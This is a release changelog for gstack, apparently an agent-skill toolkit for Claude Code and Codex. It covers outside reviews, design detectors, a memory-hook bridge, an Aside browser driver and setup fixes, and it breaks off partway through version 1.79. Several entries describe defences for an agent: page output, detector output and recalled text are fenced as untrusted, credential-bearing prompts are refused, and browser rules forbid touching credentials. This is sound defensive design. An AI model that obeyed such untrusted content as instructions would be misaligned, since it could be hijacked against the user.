Runtime and scanner catalogs ship unpromoted until protected native Docker qualification succeeds. On an unqualified installation, /cso --doctor reports the missing qualification and comprehensive target execution fails closed; static assessment remains available.

[1.86.0.0] - 2026-09-11

Added

Get an independent Claude Code review from Codex. Planning, review, shipping, design, documentation, and spec workflows select their outside reviewer from the running harness. Codex calls Claude Code; Claude Code calls Codex. Other supported harnesses expose both review skills.

Review, challenge, or consult with /claude-code. Reviews use only the context supplied by the parent. Consultations can read repository files and resume the previous conversation, using your configured Claude authentication and model.

Changed

/claude is now /claude-code. Run setup to migrate existing installations, including shared and copied installs. Each wrapper is available outside its own harness, and Kiro receives its native skills. Successful migration removes the old name without an alias; failed repairs preserve the working entry and user files.

See which outside reviews actually completed. Reports retain the provider and phase for each pass, including partial /autoplan coverage. Disabled, skipped, unavailable, and completed reviews stay distinct; historical records keep their original attribution.

Fixed

Failed, refused, empty, or malformed outside reviews can no longer count as a clean pass. Claude runner failures include authentication, timeout, and output overflow diagnoses, and stale skills stop before invoking their own harness.

Spec review stops when redaction fails, before sending the spec to a reviewer or saving it downstream.

Generated skills preserve their source files when an output directory links back into the installation, including on Windows.

Planning reviews request each unresolved decision before editing and carry approved remedies across sections without asking again. Choosing a scope or approach does not approve every finding. Reviews preserve stated requirements unless you authorize changing them.

Autoplan preserves the original plan and checks that each phase’s recorded requirements reach the next reviewer. It reconciles approvals with that record, reads the review skills installed for the current harness, and waits for reviewers and verified plan updates before advancing. Disabling extra plan or documentation review also skips replacement reviewers.

[1.84.1.0] - 2026-09-09

Changed

Codex reviews, consultations, and evals now default to GPT-6 Astra. Choose another model with GSTACK_CODEX_MODEL or an explicit model in your request; the readiness probe checks that same selection.

Claude outside voices and eval capture/judging now default to Fable 5.1. Outside voices accept GSTACK_CLAUDE_MODEL; evals retain their explicit and environment model overrides. Warmup and distillation keep their cheaper defaults.

Fixed

Native Codex reviews honor the selected model even when the CLI has a separate review-model pin. Claude judges parse text after thinking blocks, and arm judgments omit the temperature setting Fable does not support.

Frontier judges have enough output budget for thinking and JSON. Workflow evals read generated sections in execution order, without duplicated content.

Ship and plan reviews keep approval gates with the parent agent, preserve readiness checks, and use project-native test commands. QA scoring and monitoring rules are explicit; Aside drive options wait for a successful readiness probe.

Benchmark timing uses the navigation entry's actual fields. Deploy setup collects missing configuration, and failed vendored upgrades restore their backup instead of deleting it.

Retro reports distinguish verified merges from PR references, use the session date for snapshots, and define report ordering. The quality eval includes compare-mode instructions instead of cutting them off.

Documentation review runs before publication so approved fixes reach the PR. Changelog protection, unavailable-review handling, and raw/enveloped PR-body handling are consistent across the workflow.

[1.84.0.0] - 2026-09-09

gstack's design skills now start with 61 deterministic anti-pattern checks, in your voice, then spend their judgment where a detector cannot. DESIGN.md is written in the open format that impeccable and Google Stitch read, and the AI-slop list lives in one typed catalog instead of four drifting copies.

If you have impeccable installed, /design-review, /design-html, /review, and /ship run its engine first and hand you its findings as FINDING-NNN [rule-id] rows with file:line and a handoff (/impeccable typeset, layout, colorize, ...) before the LLM pass reads a page. gstack never runs impeccable's installer or launcher. The first time a design skill finds no engine it asks once: download the 16 MB engine binary from impeccable's own GitHub release into ~/.impeccable, checked against a checksum gstack pins and recorded in your egress ledger first, or not. Say no and nothing changes and nothing nags; gstack-config set design_detector off silences every trace. The probe only reads files, the engine runs only from under your home directory, and a checked-out repository can never make gstack execute one of its own files.

On a live URL, /design-review scans the rendered page: the DOM is dumped with linked stylesheets inlined and scripts, input values, handlers, and query strings stripped, redaction-checked, kept owner-only, and the engine reads that, so Rule 4 holds on a deployed site. /design-consultation writes the open DESIGN.md spec (tokens in front matter, eight canonical sections, your Motion and Decisions Log kept). An existing file is converted only when you say so, once, and the answer is recorded in the file.

The numbers that matter

Source: git diff origin/main --shortstat, lib/design-catalog.ts (bun -e over the exports), the free-suite log recorded by gstack-evidence, and the paid E2E rerun on this branch (test/skill-e2e-design.test.ts, test/skill-e2e-review.test.ts, 12 cases).

Metric Before After Δ

Deterministic checks in a design review 0 61 rules (impeccable's engine, one consented download away) evidence before judgment

Places the AI-slop vocabulary lived 4 files, drifting 1 typed catalog, 86 entries (57 slop, 29 quality) review/design-checklist.md is generated from it

Skills that run the detector 0 4 (/design-review, /design-html, /review, /ship) same rule ids everywhere

What a scan can read source files source files or the rendered DOM of a live URL works on deployed sites

DESIGN.md format gstack writes private schema open DESIGN.md spec impeccable and Stitch read it

New test() declarations (platform-gated ones included) 194 across 11 files free suite: 9,206 tests, 12/12 paid E2E

The row you feel is the first one: a purple gradient, a kicker above a heading, a nested card, or Inter as the display face is a machine finding with a file:line before anyone forms an opinion, so the review's judgment goes to hierarchy, trust, and copy.

What this means for anyone shipping a UI with gstack: say yes once when a design skill offers the engine (or install impeccable yourself), then run /design-review as before. The mechanical rows arrive first, tagged, deduplicated against the checklist, and calibrated against your DESIGN.md tokens. Never install it and every design skill behaves as in v1.81, with sharper doctrine.

Itemized changes

Added

Design detector (bin/gstack-design-detect.ts, config key design_detector: auto|off): probe reports IMPECCABLE_READY | NOT_CACHED | NOT_AVAILABLE | DISABLED plus skill, hook, and config-ignore lines without executing anything; scan runs the user-installed engine over repository files, changed frontend files (--changed <base>, NUL-safe, batched), or DOM dumps under ~/.gstack/projects/<slug>/designs/, and prints one normalized JSON document plus a fenced, untrusted DETECT_TOP block grouped by rule; rules lists the mapping. Only an install under HOME (cache, env override, PATH, or the skill's sibling engine) whose real file is named impeccable is ever READY; URLs are refused; the engine sees a minimal environment; per-batch and whole-scan timeouts; findings capped and every field sanitized; exit 3 marks a gstack bug.

Consent-gated engine install (gstack-design-detect.ts install): when the probe finds no engine, the design skills ask one question, once, in interactive sessions only (never in spawned or headless runs). Yes downloads the engine version gstack has tested for your platform from github.com/pbakaus/impeccable's releases, verifies it against the checksum pinned in gstack for all five platforms, writes an egress receipt before the fetch (fail-closed), and places the one file under ~/.impeccable/bin/<version>/: no impeccable skill, no editor hook, no launcher. "Never ask again" is remembered in design_detector_install_prompted; "turn it off" is design_detector off. gstack never runs npx impeccable.

Phase 0 in /design-review: source mode on a feature branch, DOM mode on any URL (Aside first, the bundled browser otherwise) through one shared dump script, lib/dom-dump.js; design-baseline.json gains per-page detector counts with id-level deltas and an engine changed caveat; Phase 10 reports Detector: N → M; deferred findings end with the /impeccable <cmd> handoff when the skill is installed.

/review and /ship design pass: the mechanical scan runs first, its rows bucket by tier (auto-fix, ask, possible), and a detector hit at the same file:line as a checklist hit is one row. /design-html: a bounded slop gate before screenshots, one fix pass, then accepted-with-reason rows.

Typed design catalog (lib/design-catalog.ts): 86 entries with rule ids, impact, tier, confidence, detection method, handoff, fonts, and the ten mockupNever patterns the image-generation prompt now refuses by default. review/design-checklist.md is generated from it by bun run gen:skill-docs.

Doctrine: Persuade / Operate / Read / Experience modes (MARKETING and APP UI kept as aliases), craft-floor reflexes (browser surfaces, one authored motion moment, depth with an offset, tinted secondary text, more space above a heading than below, light or dark from the use scene), the three-looks calibration, a font procedure with a role-scoped overused list, and Restrained / Committed / Full palette / Drenched color strategies.

Open DESIGN.md format (lib/design-md.ts, bin/gstack-design-md.ts: check, convert, tokens, mark): read, write, convert a legacy gstack file (backup kept), flatten tokens for calibration, and persist the one-time format choice as a marker line. /design-consultation, /design-review, and /design-html write and read it; PRODUCT.md prefills the consultation's questions.

Attribution: NOTICE.md, licenses/Apache-2.0.txt, and changed-file headers for material derived from impeccable and the DESIGN.md specification.

Changed

/design-consultation chooses type by a procedure (name the world, shortlist per role, strike the overused list for that role, verify availability, state loading), varies direction across generations without flipping light and dark, and lists banned faces (Courier New now among them) from the catalog.

Landing-page rules ask for one authored motion moment and a brand texture or asset instead of halo, spotlight, stripe, or grid gradients; the universal font rule is scoped to the display voice with body/UI exceptions on Operate and Read surfaces.

gstack's own DESIGN.md is in the open format, with its intentional exceptions (the live-feed pulse, 11px mono data labels) recorded in the Decisions Log.

The design binary's variant set trades its light/dark flip for a drenched-color dial.

Repository .impeccable/config*.json ignores are surfaced (IMPECCABLE_IGNORED_RULES, _FILES, _VALUES) and treated as evidence in /review and /ship, settled decisions in your own project.

For contributors

Real engine captures pin the contract (test/fixtures/impeccable-*.json, the dumped slop page, captured with engine 0.1.3 and its 61-rule registry); test/fixtures/fake-impeccable.ts drives the unit and E2E suites through env knobs (output file, exit code, sleep, argv log) that pass the wrapper's minimal engine environment.

New free suites: gstack-design-detect, design-md, design-catalog, design-checklist-sync, design-detect-contract, frontend-scope, impeccable-fixtures, dom-dump-hygiene (a real Chromium run, CI or GSTACK_DOM_DUMP_HYGIENE=1), plus the brief test for the design binary. Gate E2E: design-review-detector-shim (source and DOM); periodic: design-html-slop-gate.

design-review's eager ceiling moved to 31,319 tokens; the carve guards for design-html and plan-design-review are re-measured; the bin/-and-lib/ linking rule now carries two more runtime bins.

[1.83.0.0] - 2026-09-09

Memorable's workflow memory plugs into Claude Code through gstack, behind a consent key you control. Every prompt it sees is receipted, secret-scanned and enveloped. The switch is off until you flip it.

Memorable (memorable.sh) is a third-party CLI that remembers how you did a task and recalls it the next time you ask for something similar. Its own installer registers a Claude Code hook directly. This release lets you register that hook through gstack instead, with gstack-memorable enable, and nothing changes until you run it. When you do, gstack records its own consent key (memorable_recall, listed by gstack-egress grants with its revoke command), writes an egress receipt before every prompt it hands to the vendor binary and skips the hand-off if the receipt cannot be written, refuses to hand over a prompt carrying a live-shaped credential, skips repositories whose trust policy is deny or read-only, runs the binary in an allowlisted environment inside its own process group under a 4.5 second budget, and wraps whatever comes back in the trust envelope so recalled text can never block a prompt or speak as gstack. gstack-memorable status shows the vendor CLI, the gate, who registered the hook (by identity, so it stays correct after Claude Code rewrites settings.json), receipt counts and recent errors. disable turns it off and verifies both the consent and the registration before it says so. Claude Code only; Windows is refused for now because there are no process groups to contain the vendor.

The numbers that matter. Measured on a Linux sandbox with a fake vendor; the scan rows come from scan() in lib/redact-engine.ts on a synthetic log-like prompt dense in emails and IP addresses (256 KiB: 5,462 findings; 512 KiB: 10,898 findings), main against this release.

Metric Before After Δ

Redaction scan, 256 KiB log-like prompt 1,573 ms 65 ms 24x faster

Redaction scan, 512 KiB log-like prompt 6,182 ms 126 ms 49x faster

Hook cost per prompt with the bridge disabled no hook 49 ms shim, bun, one config read

gstack work per prompt before the vendor runs no hook ~25 ms gate, policy, scan, receipt

Tests in the free suite covering this bridge and the hook manager 0 128 +128

The scan speedup is not bridge-specific. Line and column for each finding used to be computed by walking the text from the start, so a pasted log full of addresses cost time quadratic in its matches; it is a binary search over a line index now, and every caller of the engine (gstack-redact, the pre-push hook, the PR-body scan in /ship) gets it.

What this means for you: if you use Memorable, run memorable login, memorable enable, then gstack-memorable enable, and look at gstack-egress list --sink memorable-recall after a few prompts. If you do not, nothing changes: the key defaults to off, no hook is registered, ./setup never registers one for you, and upgrading needs no migration. docs/memorable-workflow-memory.md says exactly what gstack hands over, what it can attest, and what is Memorable's own claim. Contributed by @AdvaiytSane and @NIkhil-cmd-cmd (#2831).

Itemized changes

Added

bin/gstack-memorable enable | disable | status, the Memorable recall bridge (Claude Code only, off by default). enable needs the vendor CLI on the machine, registers gstack's hook at the stable install path with a 5 second timeout, refuses when Memorable's own installer already registered its hook (two entries would run the hook twice per prompt), verifies the stable install carries this bridge before touching anything, and sets memorable_recall=on. It never runs memorable enable: the vendor's capture consent is yours to grant. disable flips the key off first, removes gstack's entry by identity (tag or no tag), verifies both, and reports a partial failure as one. status never executes the vendor. One lifecycle transition runs at a time (a lock under ~/.gstack/locks, stale after 30 seconds). Exit codes mirror the hook manager: 1 refused, 3 unparseable settings.json, 4 unexpected shape, 5 lock.

hosts/claude/hooks/memorable-user-prompt-hook (bash shim plus memorable-user-prompt-hook.ts), the UserPromptSubmit hook the bridge registers. One deadline clock undercuts Claude Code's 5 second hook kill; stdin is capped at 1 MiB; the prompt is scanned for HIGH-tier credential shapes on the raw bytes and on the decoded string values; the vendor sees only PATH, HOME, identity and locale variables, temp directories, the standard proxy, TLS and XDG_* variables and its own MEMORABLE* knobs; only a string additionalContext is accepted from it (a vendor decision, continue or systemMessage is dropped), control and Unicode format characters are stripped, the text is capped at 8 KiB on a UTF-8 boundary and enveloped. The vendor's whole process group is killed when the hook finishes, hangs past its budget, or is terminated by the host mid-flight (a process the vendor detaches into its own session is outside that guarantee); a vendor that exits but leaves a helper holding its pipes still gets its answer delivered. Every refusal is one rate-limited line in ~/.gstack/hook-errors.log (created 0600); the hook always exits 0.

memorable_recall config key (on | off, default off, a typo is rejected and the prior value kept) and a memorable-recall row in gstack-egress grants naming the vendor CLI, the per-prompt receipt sink and the revoke command.

Egress receipts for the memorable-recall sink, fail-closed: no receipt, no hand-off. The receipt records the byte count and sha256 of the exact stdin handed over, the consent key, and local:<path to the vendor executable> as the recipient gstack can attest; the outcome records exit:0 output-written bytes=N gstack_ms=N, exit:N injected=no, timeout, spawn-error:<code> or budget-exhausted. A receipt with no outcome reads as unknown, never as success.

gstack-settings-hook list-items --event <E> [--owned-by <source>] [--command-regex <js-re>], a read-only identity view: one JSON string literal per matching hook command, identity from the hook table rather than the tag, empty output when nothing matches, exit 3 on unparseable settings and 4 on an unexpected shape, so a caller can decide a mutation from it.

runExternal in hosts/claude/hooks/spawn-bin.ts, the contained way for a hook to run a third-party executable: its own process group, a wall-clock limit that kills the group, a stdout cap, a drained stderr tail, stdin write errors kept separate from spawn errors, resolution on the child's exit rather than on the last pipe closing, and a refusal on Windows.

lockBudgetMs on writeReceipt and writeOutcome in lib/egress-receipt.ts, so a caller on a deadline can bound the ledger lock wait (default unchanged at 2.5 seconds), and a spawn timeout parameter on repoPolicyTier in lib/gbrain-repo-policy-client.ts.

docs/memorable-workflow-memory.md: what you get, the two consents (gstack's and Memorable's, neither implies the other), what gstack hands over and what it can attest, what gstack tests and what is the vendor's claim, turning it on and off, and a troubleshooting runbook. A README row, a Docs-table row and a privacy pointer link to it.

Changed

gstack-settings-hook remove-source removes by identity as well as by tag. Claude Code strips gstack's _gstack_source tag when it rewrites settings.json; the off switch for every gstack hook used to no-op on exactly those entries. Items the hook table identifies as the requested source are removed whether or not the entry is tagged, other sources' items are never touched, and entries with nothing of the source's stay byte-identical.

./setup --no-team keeps the opt-in Memorable hook when it sweeps stray gstack hooks, alongside the verify gate.

gstack-uninstall removes the Memorable hook by name, sets memorable_recall off wherever gstack's config lives (kept state or not, hook manager present or not, and a failed revocation is named), and says that Memorable's own consent is unchanged (memorable disable, memorable forget).

Redaction findings locate their line and column by binary search over a per-scan line index, so scan time is linear in the input for every caller of lib/redact-engine.ts.

For contributors

New test files: test/gstack-memorable.test.ts, test/memorable-user-prompt-hook.test.ts (a fake vendor written in sh; the hook's stdin bytes are compared byte for byte with what the vendor received), test/gstack-config-memorable-key.test.ts. Extended: test/gstack-settings-hook-schema-aware.test.ts (identity removal pinned for every source in the hook table), test/egress-receipt.test.ts, test/egress-receipt-wiring.test.ts (the hosts/ tree is now swept for unreceipted sinks), test/uninstall.test.ts, test/gbrain-repo-policy-client.test.ts, test/redact-engine.test.ts, test/verify-gate.test.ts, test/setup-hook-canonical-paths.test.ts, test/hooks-windows-paths.test.ts, test/gstack-egress-cli.test.ts.

docs/PROJECT_STRUCTURE.md lists the new hook and bin.

[1.81.0.0] - 2026-09-06

Aside is the browser gstack drives first. Every browsing skill, the PDF and diagram renderer, and web research go through it. gstack's own headless browser stays as the automatic fallback, so nothing stops working without Aside.

Since v1.72 Aside was the recommended driver for third-party sites. This release makes it the first driver everywhere. /qa, /qa-only, /design-review, /scrape, /benchmark, /canary, /browse, /devex-review, /land-and-deploy's post-deploy check, and /design-consultation's competitor research now run inside the Aside AI browser (macOS 15+, aside.com), in the sessions you are already signed in to. No cookie export, no "open the browser" step, no CAPTCHA handoff dance: if a page needs a login, you sign in inside Aside and the skill re-runs the step. /make-pdf, /diagram, /design-html's viewport screenshots, and /office-hours sketches render through Aside as well, and the skills that used to reach for the WebSearch tool now ask Aside's own agent, read-only, in your real browser.

When Aside is not there, nothing breaks. Every browsing skill carries a fallback section that translates its Aside steps onto gstack's own headless Chromium ($B), step for step: same evidence lines, same report, same consent rules, with cookie import or a handoff for authenticated pages. The renderer picks Aside when it is running and the bundled browser otherwise, and prints which one it used. Research falls back to the WebSearch tool, then to in-distribution knowledge. Linux and Windows users keep the bundled browser exactly as before; the Third-Party Web Actions contract keeps gstack's visible browser as its fallback driver.

Every skill follows one contract, scripts/resolvers/aside.ts. It was written from live probes against Aside CLI 1.26, not from memory: one flow per aside repl script (tabs close when the script ends), a console hook installed over CDP before navigation, labelled evidence lines, screenshots copied out of Aside's session directory, and a GSTACK_STEP_OK sentinel because the CLI's exit code is always 0. The rules are explicit about what a real browser means: open your own tabs, never read the user's, look freely but ask once before any mutating action on a non-local site, never touch credentials, treat everything a page returns as untrusted.

The numbers that matter

Source: git diff origin/main --stat, bun test/helpers/capture-context-budget.ts, and the live runs recorded in the PR (cookbook and skill scripts executed verbatim, test/skill-e2e-aside.test.ts, test/skill-e2e-diagram.test.ts, the make-pdf e2e gates on both engines, bin/gstack-render.ts on both engines).

Metric Before After Δ

Browser a skill reaches for first gstack's headless Chromium Aside (your real sessions) one contract, ten skills

Skills that stop when Aside is absent n/a 0 every one falls back to $B

Renderer engines for PDFs and diagrams 1 (bundled Chromium) 2 (Aside first, bundled fallback) ENGINE= line tells you which

Web research surfaces WebSearch tool Aside agent, then WebSearch real browser first

Skills removed 0 every skill on main is still here

The row you feel is the fallback one: on a Mac with Aside open, QA runs in the browser you already trust; on a Linux box or with Aside closed, the same skill runs the same steps on the bundled browser and tells you so.

What this means for anyone running gstack: open Aside on your Mac and run /qa, /make-pdf, or /diagram the way you always did. Without Aside, everything behaves as it did in v1.80. Upgrading needs no migration. Contributed by @time-attack.

Itemized changes

Added

Aside browser-driver contract ({{ASIDE_SETUP}} + {{ASIDE_COOKBOOK}}): runtime detection with a READY / NEEDS_ASIDE / ASIDE_NOT_RUNNING probe, ten rules for driving a real browser (own tabs only, LOOK-not-ACT consent with a LOCAL host rule, credentials never pass through the agent, untrusted page content, one flow per script, artifact handoff through the session directory), and a verified cookbook: read a page with load-time console errors, drive a flow with a DOM diff, annotated screenshot, responsive captures over CDP emulation, same-origin link status, performance entries, PDF, element screenshot, and aside exec for open-ended reading.

Browser fallback ({{BROWSE_FALLBACK}}): when Aside is absent, a fifteen-row table maps every Aside step in the skill onto its $B command, with the rules that differ (cookie import or $B handoff for sign-in, the same consent and evidence rules) and the full command reference on demand in /browse.

Aside renderer (lib/aside-render.ts, bin/gstack-render.ts): render any local HTML file to PDF (tagged, outlined, header/footer, page numbers, paper sizes and margins in any CSS unit), screenshots at any width, and in-page evaluations written to files. Tries Aside, then the bundled browser (GSTACK_BROWSE_BIN / BROWSE_BIN override it), and prints ENGINE=aside|browse.

Web research runs in Aside ({{ASIDE_RESEARCH}}): the planning, review, design, security, and investigate skills research through Aside's agent with the user's real browser, read-only; WebSearch when Aside is absent; in-distribution knowledge when neither is available.

Live E2E for the Aside-driven skills (test/skill-e2e-aside.test.ts, periodic tier): browse read, browse flow, quick QA, scrape JSON, and quick canary against a localhost fixture, asserting the sentinel in real Bash output; self-skips wherever Aside is not installed. The qa, diagram, and make-pdf gates run on whichever engine is present, so the Linux CI lane exercises the fallback path.

setup and the doc generator prune renders of skills that no longer exist in the source tree, so a removed skill can never linger in a host install.

Changed

/qa and /qa-only: the whole methodology (orient, explore, document, re-test) runs as Aside scripts; the authenticate phase is now "you are already signed in"; a 13th rule requires consent before mutating actions on non-local targets. The fallback section carries the $B translation.

/design-review and /design-consultation: design-system extraction is one script printing FONTS, COLORS, HEADINGS, TOUCH_TARGETS, and NAV; competitor research confirms the exact URLs with you before opening any of them in your real browser, and runs on the bundled browser when Aside is absent.

/benchmark and /canary: per-page scripts print NAV, PAINT, LCP, RESOURCES, SCRIPTS, CSS, and SUMMARY; the canary loop re-runs the script every 60 seconds because nothing persists between Aside scripts.

/land-and-deploy Step 7 and /devex-review: one Aside script each; the smoke row reads responseStatus from the navigation entry.

/make-pdf prints through Aside first and the bundled browser otherwise; exit 4 now means no browser is available and names both remedies; mermaid fences, oversized-image downscale, and DOCX rasters each run as one render script; $P setup reports which engine it found.

/diagram: the SVG, PNG, and excalidraw triplet is one gstack-render call; every diagram type gets an excalidraw export (flowcharts and sequence diagrams as editable scenes, the rest as a single image element).

/scrape: look-then-extract Aside scripts that build the JSON inside the page; on the fallback the browser-skills runtime ($B skill list / run, /skillify) applies as before.

Third-Party Web Actions (/ship, /spec, /setup-deploy, /office-hours, /land-and-deploy): Aside is the recommended first driver; gstack's own visible browser stays as the fallback option, exactly the shape v1.72 introduced, and the contract points at the /browse doc for how to drive Aside.

/browse: the Aside contract, cookbook, mode choice (aside repl by default, aside exec for reading), report format, the fallback, and the full $B command reference on demand.

The root router, README, BROWSER.md, docs/skills.md, docs/PROJECT_STRUCTURE.md, CONTRIBUTING.md, CLAUDE.md, and ARCHITECTURE.md describe the Aside-first, bundled-fallback world.

Fixed

./setup's retired-skill prune is safe by construction: it never deletes a directory that holds your own files (only gstack's SKILL.md, marker and links go), never follows a symlink into someone else's tree, cleans a host's stale links even after the generator already removed the render, and recognizes a skill renamed through its frontmatter name:. The generator's own prune keeps any gstack-* directory without the generated banner and skips a host whose generation failed. ./setup also rebuilds when the design or make-pdf binary is missing or when anything under lib/ changed.

Setup's summary is honest about browsers: with Aside installed and a failed Chromium bootstrap it says only the bundled fallback is missing (and that /pair-agent needs it); GSTACK_SKIP_ASIDE=1 is honored by the skills' probe, by setup, and by the renderer alike.

The local render server behind /make-pdf, /diagram, and design previews serves one per-render secret URL, never follows a symlink out of its directory, and refuses malformed requests; page text can no longer forge its control lines; a hung aside process is killed instead of waited on forever; if the Aside CLI cannot start mid-run (or its private CDP bridge is missing) the render retries on gstack's own browser and reports which engine actually rendered — a page error or a timeout of a running script is never retried; a shared /tmp/gstack-render owned by someone else is never used.

Browsing skills check link status only on a LOCAL target (on a real site every HEAD request would carry your cookies); same-origin filtering compares real origins instead of string prefixes; .local hosts are no longer treated as your own machine (mDNS names resolve to other devices on the LAN); the Aside readiness probe has a 30-second deadline on stock macOS, which ships neither timeout nor gtimeout.

aside exec research requests write an egress receipt before leaving the machine, like every other off-machine send.

Rendering through the bundled browser tolerates a cold start: the first tab request retries once while the daemon is still coming up, and a command whose process is slow to exit under heavy load is waited for instead of being reported as failed.

gstack-render --help exits 0, non-numeric flags are rejected instead of becoming NaN timeouts, --wait-timeout is documented, and page-derived output (EVAL, PAGE_ERRORS) is fenced as untrusted content.

For contributors

test/aside-driver.test.ts pins the contract's load-bearing sentences and asserts every browsing skill carries ## BROWSER SETUP (Aside followed by ## Browser fallback. test/aside-render.test.ts pins the renderer's option mapping and script shapes and runs a live render on each engine that is present. test/helpers/aside-available.ts is the shared live-Aside probe for E2E gating; make-pdf/test/e2e/browser-available.ts gates the make-pdf gates on either engine.

lib/claude-bin.ts and lib/error-handling.ts are now the canonical copies; browse/src re-exports them.

New free tests pin the review fixes: test/setup-prune-stale-generated.test.ts (host cleanup after the generator pruned, symlink targets survive, renamed skills, foreign links), test/setup-browser-hint.test.ts (hint and bootstrap summary across Aside present/absent, bootstrap ok/failed, skip-env), test/setup-needs-build.test.ts, test/gstack-render-cli.test.ts, test/aside-render.test.ts (fake aside/browse executables: probe classification, stdout contract, server policy, failure paths, timeout kill, engine choice and mid-run fallback), make-pdf/test/cli-exit-codes.test.ts, make-pdf/test/setup-smoke.test.ts. renderPdf returns the engine that rendered; pickEngine(fresh, deps) and serveDir are exported test seams.

Size budget re-baselined to parity-baseline-v1.81.0.0.json (the Aside contract plus fallback block ride in every browsing skill); parity ceilings ratcheted with measured values; touchfiles, tiers, coverage matrix, eval baselines, ship goldens, and the context-budget fixture refreshed. Follow-ups in TODOS.md: keep the $B translation table in sync with the cookbook, Aside CLI 1.26 lacks the commands its own skill doc lists, a macOS runner for the live E2E, an optional MCP path for a persistent page.

[1.80.0.0] - 2026-09-04

Setup finishes even when Chromium cannot be installed. gstack never deletes or overwrites a skill it did not create.

Three defects that a downstream fork kept tripping over are fixed at the source. ./setup used to abort at the Playwright step on any box where the Chromium download failed or hung (offline, proxied, AppArmor-restricted), and because that step ran before skills were registered, those users ended with zero skills. The /freeze deny hook read a different state directory than /freeze wrote whenever GSTACK_HOME was set, so the boundary silently allowed everything. And both ./setup and gstack-relink would replace or delete any skill entry that happened to share a name with a gstack skill, including a skill you wrote yourself.

Now the Chromium install is best-effort and bounded. It runs under a 600 second deadline you can change with GSTACK_PLAYWRIGHT_INSTALL_TIMEOUT, skip outright with GSTACK_SKIP_PLAYWRIGHT=1, and every failure becomes a reason code in the final summary that names the skills that need a browser. Skills always register. Both PreToolUse hooks resolve the same state root the writers use, and freeze fails closed on any unexpected death instead of exiting with no decision. Ownership is proven, never assumed from a name: an entry is only touched when it is a symlink into gstack, carries the .gstack-owned marker gstack writes for directories it creates, or is a real file gstack generated. Even then a generated file you have since customized is moved to ~/.gstack/backups/skills/<timestamp>/ before gstack links over it, and a directory is only removed whole when nothing of yours is inside.

The numbers that matter

Source: the free suite (bun run test), specifically test/setup-playwright-best-effort.test.ts, test/setup-link-ownership.test.ts, test/relink.test.ts and test/hook-scripts.test.ts, run against this tree.

Metric Before After Δ

Skills registered when the Chromium download fails or hangs 0 all setup never aborts at the bootstrap

Longest a wedged Chromium install can block ./setup unbounded 600s default GSTACK_PLAYWRIGHT_INSTALL_TIMEOUT, GSTACK_SKIP_PLAYWRIGHT=1

/freeze boundary with GSTACK_HOME set allowed every edit denies one state-root resolver for hooks and writers

Sites that could delete or replace a same-name skill without proof of ownership 5 0 setup linker, alias installer, both flip cleanups, relink

Data lost when gstack replaces a generated SKILL.md you customized the file none moved to ~/.gstack/backups/skills/<ts>/

Free tests pinning these behaviors 0 103 across 10 files

The first row is the one you feel: a laptop on hotel wifi, a CI runner behind a proxy, or a fresh Ubuntu 24.04 box now ends ./setup with every skill installed and one clear line saying which ones will not work until Chromium is present.

What this means for anyone installing or upgrading: run ./setup anywhere and get skills. Keep your own qa or ship skill next to gstack's and it survives every upgrade and prefix flip, reported by name instead of silently replaced. Set GSTACK_HOME and /freeze means what it says.

Itemized changes

Fixed

./setup no longer aborts when Chromium cannot be installed (#1900, #1901, #1902, #913). The Playwright step is best-effort and bounded. Reason codes: skipped, chromium-install, chromium-install-timeout, chromium-install-locked, windows-no-node, windows-node-modules, post-install-launch. A wedged installer is killed with its whole child tree (pgrep, or a /proc walk where pgrep is missing); Ctrl-C mid-install kills it too. A stale install lock is reclaimed atomically, a garbage pid file counts as stale, and a lock with no recorded holder expires after the install bound. Contributed by @DavidMiserak (#2233).

/freeze enforces its boundary under GSTACK_HOME (#1459). The hook resolves the state root exactly as bin/gstack-paths does (GSTACK_HOME, then CLAUDE_PLUGIN_DATA only when CLAUDE_PLUGIN_ROOT names gstack, then ~/.gstack), a trailing newline in the path round-trips, a helper from an older install denies instead of exiting 127, and an EXIT backstop denies on any unexpected failure. /careful reads its project patterns from the same root and falls back safely on a stale helper. Contributed by @NikhileshNanduri (#1509).

gstack never deletes or links over a skill it does not own (#2119). ./setup's linker and alias installer, both prefix-flip cleanups, and gstack-relink all prove ownership first and report a foreign entry by name in the final summary. Runtime assets (sections, templates, checklists) inside a directory gstack did not create are kept, not replaced. A checkout named without a gstack path segment (a git worktree add ../gstack-feature) still counts as gstack's. Contributed by @smblight.

Windows copy installs carry a .gstack-owned marker so provenance no longer rests on the directory name. The marker is written on every platform, only for directories gstack creates.

Setup's one-shot telemetry events no longer finalize other sessions' in-flight markers as outcome: unknown.

Added

GSTACK_PLAYWRIGHT_INSTALL_TIMEOUT=<seconds> and GSTACK_SKIP_PLAYWRIGHT=1 for ./setup; documented in the README troubleshooting list together with GSTACK_CHROMIUM_NO_SANDBOX=1.

A final setup summary that names the browser-dependent skills when Chromium is unavailable, lists any same-name skills left untouched, and reports any customized SKILL.md moved to ~/.gstack/backups/skills/<timestamp>/.

gstack-telemetry-log --no-sweep for events that own no session.

For contributors

The time-attack fork evaluation that surfaced these defects is preserved under docs/designs/fork-port-residual-2026-09/ (report, residual index, refutation verdicts, hashes). Waves B through E2 of that plan are scheduled work.

New free tests: test/setup-link-ownership.test.ts, plus large additions to test/setup-playwright-best-effort.test.ts, test/relink.test.ts, test/hook-scripts.test.ts, test/telemetry.test.ts. Anchor-sliced harnesses now fail loudly on command not found instead of degrading into "foreign, skipped".

bin/gstack-relink and setup carry the same ownership rule in two copies; the shared helper is filed in TODOS.md.

[1.79.0.0] - 2026-09-01

/ship can no longer be stranded by a backgrounded subagent. The bug class that came back twice is pinned everywhere it lives.

Claude Code v2.1.198 made Agent-tool subagents launch in the background by default. Four /ship steps (7, 8, 10, 18) hand work to a subagent and parse its final line as JSON, and none of them passed run_in_background: false, so a ship run could park forever on Step 18 waiting for doc-sync output that was never coming. This is the third time this class has bitten (#497 fixed it, #2440 regressed it, Step 18 rediscovered it). Every synchronous dispatch site in the skill tree now carries the explicit flag, and the flag is test-pinned per file so a fourth recurrence fails CI the moment it lands.

The doc-sync dispatch also got real failure handling. If the dispatch gets backgrounded anyway, the parent polls for about 10 minutes, stops the runaway task, reconciles any commit the subagent made against the pre-dispatch HEAD, and ships the PR without the Documentation section instead of hanging. The subagent itself is scope-guarded to docs only: it never changes VERSION, never merges the base branch, skips the Codex doc review (the parent owns review passes), and reports a rejected push as pushed:false for the parent to reconcile.

The numbers that matter

Source: test/run-in-background-guidance.test.ts (the pin list) and grep -rl 'run_in_background: false' --include='*.md' against this tree.

Metric Before After Δ

Generated files pinned to carry the flag 2 24 every sync dispatch site

/ship dispatch steps with a deadline + recovery branch 0 of 4 4 of 4 Steps 7/8/10/18

